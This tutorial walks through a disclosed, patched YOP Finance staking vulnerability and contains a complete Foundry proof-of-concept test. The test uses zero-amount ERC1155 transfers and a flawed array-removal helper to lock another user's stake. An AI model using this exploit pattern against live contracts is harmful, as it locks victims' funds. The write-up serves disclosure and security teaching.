How To Use Foundry To PoC Bug Leads, Part 2
Summary
In part 2 of this tutorial (see part 1 here), we are going to see what a Proof of Concept (PoC) for a real-world vulnerability looks like in Foundry. For the rest of this tutorial, we will assume that you have set up your environment accordingly.
This real-world vulnerability is a bug that I found and disclosed on Immunefi for YOP Finance at the end of May 2022. YOP Finance reacted swiftly, determined it was a severity of “high”, patched the bug, and paid out a $37,500 USDC bounty. This shows YOP Finance takes its platform and users' security seriously. For more information, check out their bug bounty program on Immunefi.
This article was written by cergyk.eth.
Introduction To ERC1155
First, we have to explain a bit about the ERC1155 standard. ERC1155 Tokens can be used to describe any combination of fungible (ERC20) and non-fungible (ERC721) tokens inside one single contract.
As an example, the contract admin can define that the ids from 1 to 1000 represent NFTs. He mints them with an amount = 1. Then he mints a token with id 1001 using amount = 10**18, which means it is a fungible token with a supply of 10**18.
As such, the transfer logic for this standard looks like this (extracted from the OpenZeppelin libs):
.function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
We notice the hook _beforeTokenTransfer, which enables the implementer to define some extra bookkeeping in the inheriting contract.
Mistake In Overriding Hook
In YOP Finance’s case a tokenId represents a position in the staking contract, which we can burn to withdraw staked funds.
YOP implements the _beforeTokenTransfer hook in this way:
function _beforeTokenTransfer(
address,
address _from,
address _to,
uint256[] memory _ids,
uint256[] memory,
bytes memory
) internal override {
for (uint256 i = 0; i < _ids.length; i++) {
uint256 tokenId = _ids[i];
Stake storage s = stakes[tokenId];
s.lastTransferTime = _getBlockTimestamp();
uint256 balance = _workingBalanceOfStake(s);
if (_from != address(0)) {
totalWorkingSupply -= balance;
_removeValue(stakesForAddress[_from], tokenId);
owners[tokenId] = address(0);
}
if (_to != address(0)) {
totalWorkingSupply += balance;
stakesForAddress[_to].push(tokenId);
owners[tokenId] = _to;
} else {
// this is a burn, reset the fields of the stake record
delete stakes[tokenId];
}
}
}Notice anything weird?
The fourth argument to this function is ignored. We refer to the interface to see it is the amounts array:
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}What happens if we set amounts to 0 and try to transfer? It is an allowed noop in the ERC1155 standard, but does it changes the bookkeeping values in the implementation?
Indeed, we see that doing so changes one state value:
owners[tokenId] = _to;
So we can simply declare ourselves owner of any position and withdraw the funds of any staking position right? Not so quick!
Assessing Impact
A call to theunstake function requires us to burn exactly one of the token, and reverts because even if we are in the owners table, we have a zero balance of the tokenId.
But there is another thing we can do, since we’re only in the owners table for the tokenId. Let’s take a look at the extendStake function:
function extendStake(
uint256 _stakeId,
uint8 _additionalDuration,
uint248 _additionalAmount,
address[] calldata _vaultsToUpdate
) external nonReentrant {
_notPaused();
require(_additionalAmount > 0 || _additionalDuration > 0, "!parameters"); Stake storage stake = stakes[_stakeId];
require(owners[_stakeId] == _msgSender(), "!owner"); uint8 newLockPeriod = stake.lockPeriod;
if (_additionalDuration > 0) {
newLockPeriod = stake.lockPeriod + _additionalDuration;
require(newLockPeriod <= MAX_LOCK_PERIOD, "!duration");
} //... unrelated code
}
This function checks owners and lets us set additional locking time for the stakeId! This falls under the impact of locking user funds for a finite amount of time (obviously very big in this case!).
Let’s Build The PoC
Time to build the PoC in Foundry! Let’s recall the environment setup we initiated in part 1. We are going to set up the following steps in our script:
- Mint a staking position for the attacker
- Use the vulnerability in
_beforeTokenTransferto transfer any prior staking position from the attacker to himself - Extend the duration of staking for the position since we have ownership over it
- Use the vulnerability in
_beforeTokenTransferto transfer the attacker-created staking position back to the attacker so as to retrieve his funds
The full PoC ends up looking like this:
function testYopMaliciousLocking() public {
deal(address(yopToken), attacker1, 500 ether);
//Impersonate attacker1 for subsequent calls to contracts
startHoax(attacker1);
uint8 lock_duration_months = 1;
uint realStakeId = 127;
uint additionalAmount = 0; //Create a staking position
yopToken.approve(address(staking), 500 ether);
uint attackerStakeId = staking.stake(500 ether, 1);
staking.safeTransferFrom(attacker1, attacker1, realStakeId, additionalAmount, ''); //The stake with id 127 is locked for 3 months
uint8 lockTimeRealStakeId = 3;
//We lock the stake for the maximal duration
staking.extendStake(
realStakeId,
MAX_STAKE_DURATION_MONTHS-lockTimeRealStakeId,
0,
new address[](0)
); //The beautiful thing is that the attacker can regain control of his stake
staking.safeTransferFrom(attacker1, attacker1, attackerStakeId, additionalAmount, ''); //Standard cheat for elapsing given time in seconds
skip(lock_duration_months*SECONDS_PER_MONTH+1);
staking.unstakeSingle(attackerStakeId, attacker1);
}
Another Hidden Bug
An attentive reader might notice that we did not explain why the attacker has to create a staking position before making the transfers.
The cause resides in _removeValue called in _beforeTokenTransfer:
function _removeValue(uint256[] storage _values, uint256 _val) internal {
uint256 i;
for (i = 0; i < _values.length; i++) {
if (_values[i] == _val) {
break;
}
}
for (; i < _values.length - 1; i++) {
_values[i] = _values[i + 1];
}
_values.pop();
}It is called on the list of positions held by the transferrer to remove the outgoing position. This function contains another mistake, allowing the whole exploit to happen! Indeed, instead of reverting in case the searched element is not found, the function removes the last element in the array!
Additional Inconvenience
At the end of the exploit, the attacker is still the owner of the victim's staking position. As such, neither the original owner nor the attacker can directly withdraw it. The user would have to use the same tactic as the attacker to regain possession of the funds.
Code
The code for this second part is available in GitHub. As the vulnerability has been patched, please be sure to fork at the specified block number ;)
Follow me on Twitter for more web3 security content!
